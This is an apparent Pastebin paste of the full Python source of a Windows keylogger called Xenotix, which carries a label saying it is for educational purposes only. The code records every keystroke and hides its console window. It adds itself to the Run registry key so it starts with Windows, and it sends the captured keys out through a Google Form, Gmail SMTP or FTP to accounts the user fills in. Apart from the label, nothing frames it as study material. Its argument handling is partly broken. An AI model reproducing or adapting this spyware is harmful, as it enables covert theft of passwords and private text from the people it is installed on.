Advertisement
Guest User

Untitled

a guest
Mar 14th, 2017
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.99 KB | None | 0 0
  1. MINIMUM REQUIREMENTS
  2. ===================
  3. Python 2.7: http://www.python.org/getit/
  4. pyHook Module: http://sourceforge.net/projects/pyhook/
  5. pyrhoncom Module: http://sourceforge.net/projects/pywin32/
  6.  
  7. pyHook Module -
  8. Unofficial Windows Binaries for Python Extension Packages: http://www.lfd.uci.edu/~gohlke/pythonlibs/
  9.  
  10.  
  11. NOTE: YOU ARE FREE TO COPY,MODIFY,REUSE THE SOURCE CODE FOR EDUCATIONAL PURPOSE ONLY.
  12. '''
  13. try:
  14. import pythoncom, pyHook
  15. except:
  16. print "Please Install pythoncom and pyHook modules"
  17. exit(0)
  18. import os
  19. import sys
  20. import threading
  21. import urllib,urllib2
  22. import smtplib
  23. import ftplib
  24. import datetime,time
  25. import win32event, win32api, winerror
  26. from _winreg import *
  27.  
  28. #Disallowing Multiple Instance
  29. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  30. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  31. mutex = None
  32. print "Multiple Instance not Allowed"
  33. exit(0)
  34. x=''
  35. data=''
  36. count=0
  37.  
  38. #Hide Console
  39. def hide():
  40. import win32console,win32gui
  41. window = win32console.GetConsoleWindow()
  42. win32gui.ShowWindow(window,0)
  43. return True
  44.  
  45. def msg():
  46. print """\n \nXenotix Python Keylogger for Windows
  47.  
  48. usage:xenotix_python_logger.py mode [optional:startup]
  49.  
  50. mode:
  51. local
  52.  
  53. remote
  54.  
  55. email
  56.  
  57. ftp
  58.  
  59. [optional] startup: This will add the keylogger to windows startup.\n\n"""
  60. return True
  61.  
  62. # Add to startup
  63. def addStartup():
  64. fp=os.path.dirname(os.path.realpath(__file__))
  65. file_name=sys.argv[0].split("\\")[-1]
  66. new_file_path=fp+"\\"+file_name
  67. keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
  68.  
  69. key2change= OpenKey(HKEY_CURRENT_USER,
  70. keyVal,0,KEY_ALL_ACCESS)
  71.  
  72. SetValueEx(key2change, "Xenotix Keylogger",0,REG_SZ, new_file_path)
  73.  
  74. #Local Keylogger
  75. def local():
  76. global data
  77. if len(data)>100:
  78. fp=open("keylogs.txt","a")
  79. fp.write(data)
  80. fp.close()
  81. data=''
  82. return True
  83.  
  84. #Remote Google Form logs post
  85. def remote():
  86. global data
  87. if len(data)>100:
  88. url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
  89. klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
  90. try:
  91. dataenc=urllib.urlencode(klog)
  92. req=urllib2.Request(url,dataenc)
  93. response=urllib2.urlopen(req)
  94. data=''
  95. except Exception as e:
  96. print e
  97. return True
  98.  
  99. #Email Logs
  100. class TimerClass(threading.Thread):
  101. def __init__(self):
  102. threading.Thread.__init__(self)
  103. self.event = threading.Event()
  104. def run(self):
  105. while not self.event.is_set():
  106. global data
  107. if len(data)>100:
  108. ts = datetime.datetime.now()
  109. SERVER = "smtp.gmail.com" #Specify Server Here
  110. PORT = 587 #Specify Port Here
  111. USER="your_email@gmail.com"#Specify Username Here
  112. PASS="password_here"#Specify Password Here
  113. FROM = USER#From address is taken from username
  114. TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
  115. SUBJECT = "Keylogger data: "+str(ts)
  116. MESSAGE = data
  117. message = """\
  118. From: %s
  119. To: %s
  120. Subject: %s
  121.  
  122. %s
  123. """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  124. try:
  125. server = smtplib.SMTP()
  126. server.connect(SERVER,PORT)
  127. server.starttls()
  128. server.login(USER,PASS)
  129. server.sendmail(FROM, TO, message)
  130. data=''
  131. server.quit()
  132. except Exception as e:
  133. print e
  134. self.event.wait(120)
  135.  
  136. #Upload logs to FTP account
  137. def ftp():
  138. global data,count
  139. if len(data)>100:
  140. count+=1
  141. FILENAME="logs-"+str(count)+".txt"
  142. fp=open(FILENAME,"a")
  143. fp.write(data)
  144. fp.close()
  145. data=''
  146. try:
  147. SERVER="ftp.xxxxxx.com" #Specify your FTP Server address
  148. USERNAME="ftp_username" #Specify your FTP Username
  149. PASSWORD="ftp_password" #Specify your FTP Password
  150. SSL=0 #Set 1 for SSL and 0 for normal connection
  151. OUTPUT_DIR="/" #Specify output directory here
  152. if SSL==0:
  153. ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
  154. elif SSL==1:
  155. ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
  156. ft.cwd(OUTPUT_DIR)
  157. fp=open(FILENAME,'rb')
  158. cmd= 'STOR' +' '+FILENAME
  159. ft.storbinary(cmd,fp)
  160. ft.quit()
  161. fp.close()
  162. os.remove(FILENAME)
  163. except Exception as e:
  164. print e
  165. return True
  166.  
  167. def main(command_line):
  168. global x
  169. argv = command_line.split()
  170. if len(argv)==1:
  171. msg()
  172. exit(0)
  173. else:
  174. if len(argv)>2:
  175. if argv[2]=="startup":
  176. addStartup()
  177. else:
  178. msg()
  179. exit(0)
  180. if argv[1]=="Test":
  181. x=1
  182. hide()
  183. elif argv[1]=="remote":
  184. x=2
  185. hide()
  186. elif argv[1]=="email":
  187. hide()
  188. email=TimerClass()
  189. email.start()
  190. elif argv[1]=="ftp":
  191. x=4
  192. hide()
  193. else:
  194. msg()
  195. exit(0)
  196. return True
  197.  
  198. if __name__ == '__main__':
  199. main("xenotix_python_logger.py mode [optional]")
  200.  
  201. def keypressed(event):
  202. global x,data
  203. if event.Ascii==13:
  204. keys='<ENTER>'
  205. elif event.Ascii==8:
  206. keys='<BACK SPACE>'
  207. elif event.Ascii==9:
  208. keys='<TAB>'
  209. else:
  210. keys=chr(event.Ascii)
  211. data=data+keys
  212. if x==1:
  213. local()
  214. elif x==2:
  215. remote()
  216. elif x==4:
  217. ftp()
  218.  
  219. obj = pyHook.HookManager()
  220. obj.KeyDown = keypressed
  221. obj.HookKeyboard()
  222. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement